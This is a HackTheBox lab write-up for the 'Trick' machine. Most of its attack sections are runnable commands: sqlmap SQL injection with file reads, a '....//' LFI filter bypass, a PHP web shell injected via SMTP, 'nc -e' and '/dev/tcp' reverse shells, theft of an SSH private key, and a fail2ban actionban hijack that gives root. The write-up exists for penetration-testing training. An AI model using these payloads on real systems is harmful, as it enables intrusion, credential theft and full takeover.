HTB: Trick Writeup
Trick - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Trick |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 30th May 2022 |
| IP Address | 10.10.11.166 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Trick is an Easy Linux machine centered around DNS enumeration and multiple vHost exploitation. The attack chain begins with DNS zone transfer to discover the preprod-payroll.trick.htb subdomain, which hosts a vulnerable Payroll Management System susceptible to SQL injection. By leveraging SQLmap with FILE privileges, we extract the Nginx configuration to discover a second vHost (preprod-marketing.trick.htb) vulnerable to Local File Inclusion with a filter bypass. Initial foothold is achieved by combining SMTP to inject PHP code into the mail system and LFI to execute it. Privilege escalation exploits a misconfigured fail2ban directory where the current user’s group has write permissions, allowing us to replace a configuration file and execute arbitrary code as root when fail2ban restarts.
TL;DR: DNS zone transfer → SQL injection (FILE read) → discover LFI vHost → mail injection + LFI RCE → fail2ban config hijack → root shell
Reconnaissance
Port Scanning
# Initial full port scanports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed scan on discovered portsnmap -p$ports -sC -sV 10.10.11.166Results:
- Port 22 - SSH (OpenSSH)
- Port 25 - SMTP (Postfix)
- Port 53 - DNS (ISC BIND)
- Port 80 - HTTP (Nginx)
Service Enumeration
DNS Enumeration
Reverse DNS lookup to discover the domain associated with the target IP:
# Perform reverse DNS lookupdig @10.10.11.166 -x 10.10.11.166This reveals the domain trick.htb. Add it to the hosts file:
echo '10.10.11.166 trick.htb' | sudo tee -a /etc/hostsAttempt a zone transfer to discover subdomains:
# DNS zone transfer requestdig @10.10.11.166 axfr trick.htbThis reveals the subdomain preprod-payroll.trick.htb. Add it to hosts:
echo '10.10.11.166 preprod-payroll.trick.htb' | sudo tee -a /etc/hostsWeb Service Enumeration
Visiting http://trick.htb shows a “coming soon” page. However, http://preprod-payroll.trick.htb reveals an Employee’s Payroll Management System login panel.
Vulnerability Assessment
- SQL Injection - The Payroll Management System login is vulnerable to SQL injection in the username parameter
- FILE Privilege in Database - The database user has FILE read privileges, allowing system file access
- Local File Inclusion (LFI) - The marketing vHost uses unsanitized
pageparameter with a filter bypass vulnerability - SMTP Open Relay - SMTP server allows unauthenticated mail injection
- fail2ban Misconfiguration - The fail2ban action.d directory has insecure group permissions
Initial Foothold
Exploitation Path
Step 1: SQL Injection to Extract Nginx Configuration
First, confirm SQL injection vulnerability using sqlmap:
# Test for SQL injection vulnerabilitysqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login \ --data="username=abc&password=abc" \ -p username \ --level 5 \ --risk 3 \ --technique=BEUS \ --batchThe application is vulnerable to Boolean-based, Error-based, Union-based, and Stacked query injection.
Verify file read privileges:
# Check database user privilegessqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login \ --data="username=abc&password=abc" \ -p username \ --privilegesExtract the Nginx configuration file containing other vHosts:
# Read Nginx configurationsqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login \ --data="username=abc&password=abc" \ -p username \ --batch \ --file-read=/etc/nginx/sites-enabled/defaultThe configuration reveals preprod-marketing.trick.htb. Add it to hosts:
echo '10.10.11.166 preprod-marketing.trick.htb' | sudo tee -a /etc/hostsStep 2: Discover LFI Vulnerability with Filter Bypass
Visiting http://preprod-marketing.trick.htb/index.php?page=services.html shows dynamic page inclusion. Testing for directory traversal:
http://preprod-marketing.trick.htb/index.php?page=../about.htmlThe ../ is filtered. However, using ....// bypasses the filter (removal of ../ leaves another ../):
# Successfully read /etc/passwd via LFI filter bypass# URL: http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwdStep 3: SMTP Mail Injection for PHP Code Execution
Connect to the SMTP server and inject PHP code into michael’s mailbox:
# Connect to SMTP and send malicious mailnc trick.htb 25Send the following commands:
helo xmail from: <attacker@trick.htb>rcpt to: <michael@trick.htb>data<?php system($_GET['cmd']); ?>.quitStep 4: Execute PHP Code via LFI
Now use the LFI to include the mail file and execute a reverse shell:
# Start listener on attacker machinenc -lvnp 1337
# Execute reverse shell via LFI + injected mail# URL: http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//var/mail/michael&cmd=nc%2010.10.14.29%201337%20-e%20/bin/shThis triggers the reverse shell callback to the listener. Upon connection, find Michael’s SSH key:
# From reverse shellcat ~/.ssh/id_rsaCopy the SSH key locally and connect:
# Set proper permissions and connect via SSHchmod 600 id_rsassh -i id_rsa michael@trick.htbPrivilege Escalation
Exploitation Path
Step 1: Identify Sudo Privileges
Check available sudo commands:
sudo -lOutput shows we can restart fail2ban without a password:
(root) NOPASSWD: /etc/init.d/fail2ban restartStep 2: Examine fail2ban Directory Permissions
Investigate the fail2ban configuration directory:
# Navigate to fail2ban configcd /etc/fail2banls -laThe action.d directory is owned by the security group with rwxrwx--- permissions, and we are a member of this group:
ls -l action.d/Step 3: Replace fail2ban Configuration
The file iptables-multiport.conf contains the actionban command executed when a user is banned. Move and copy it to gain ownership:
# Copy the file to gain group ownership/write accesscd /etc/fail2ban/action.dmv iptables-multiport.conf iptables-multiport.conf.oldcp iptables-multiport.conf.old iptables-multiport.confls -l iptables-multiport.confEdit the configuration file and modify the actionban line:
# Edit the file (use nano, vi, etc.)nano iptables-multiport.conf
# Change the actionban variable to:# actionban = /tmp/shell.shStep 4: Create Reverse Shell Script
Create the malicious script that will execute as root:
# Create reverse shell scriptcat > /tmp/shell.sh << 'EOF'#!/bin/bashbash -i >& /dev/tcp/10.10.14.29/1337 0>&1EOF
# Make it executablechmod +x /tmp/shell.shStep 5: Trigger fail2ban and Gain Root Shell
Start a listener on the attacker machine:
# Listener for root reverse shellnc -lvnp 1337Restart fail2ban with sudo:
# Restart fail2ban servicesudo /etc/init.d/fail2ban restartTrigger the ban by attempting incorrect SSH logins:
# Trigger fail2ban ban (hit enter multiple times after incorrect login attempts)ssh michael@trick.htbAfter a few seconds, the reverse shell connects as root.
Attack Chain Summary
DNS Zone Transfer (trick.htb) ↓Discover preprod-payroll.trick.htb ↓SQL Injection + FILE Privilege (sqlmap) ↓Extract Nginx Config → preprod-marketing.trick.htb ↓LFI with Filter Bypass (....// payload) ↓SMTP Mail Injection (PHP code to /var/mail/michael) ↓Execute PHP via LFI Include ↓Reverse Shell as michael ↓Extract SSH Key ↓SSH Access ↓Identify Sudo: fail2ban restart (NOPASSWD) ↓fail2ban action.d Directory Writable (group security) ↓Replace iptables-multiport.conf ↓Trigger Ban (SSH brute force) ↓Root Reverse ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service enumeration |
dig | DNS zone transfer and reverse lookup |
sqlmap | SQL injection exploitation and file extraction |
netcat | SMTP mail injection and reverse shell listener |
ssh | Secure shell access with key authentication |
nano/vi | Configuration file editing |
Key Learnings
Techniques Practiced
- DNS enumeration and zone transfer attacks
- SQL injection exploitation with file read privileges
- Local File Inclusion (LFI) with filter bypass techniques
- SMTP protocol abuse for arbitrary file injection
- PHP code execution through dynamic file inclusion
- Privilege escalation via misconfigured file permissions
- Service configuration hijacking for RCE as root
Lessons Learned
- DNS Zone Transfers - Always attempt zone transfers on discovered DNS servers; they can reveal internal infrastructure and vHosts
- SQL Injection Severity - FILE privileges in database users can escalate SQL injection from data theft to arbitrary file read, exposing configuration files
- Filter Bypass Techniques - Simple input filtering (e.g., removing
../) can be bypassed with encoded or doubled payloads like....// - SMTP as Attack Vector - Open SMTP relays can be leveraged to inject files into system directories when combined with file inclusion vulnerabilities
- File Permission Audits - Group writable directories with user membership can be exploited for privilege escalation, especially in system service directories
- Service Restart Chains - Combining NOPASSWD sudo with writable configuration files allows privilege escalation without authentication
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>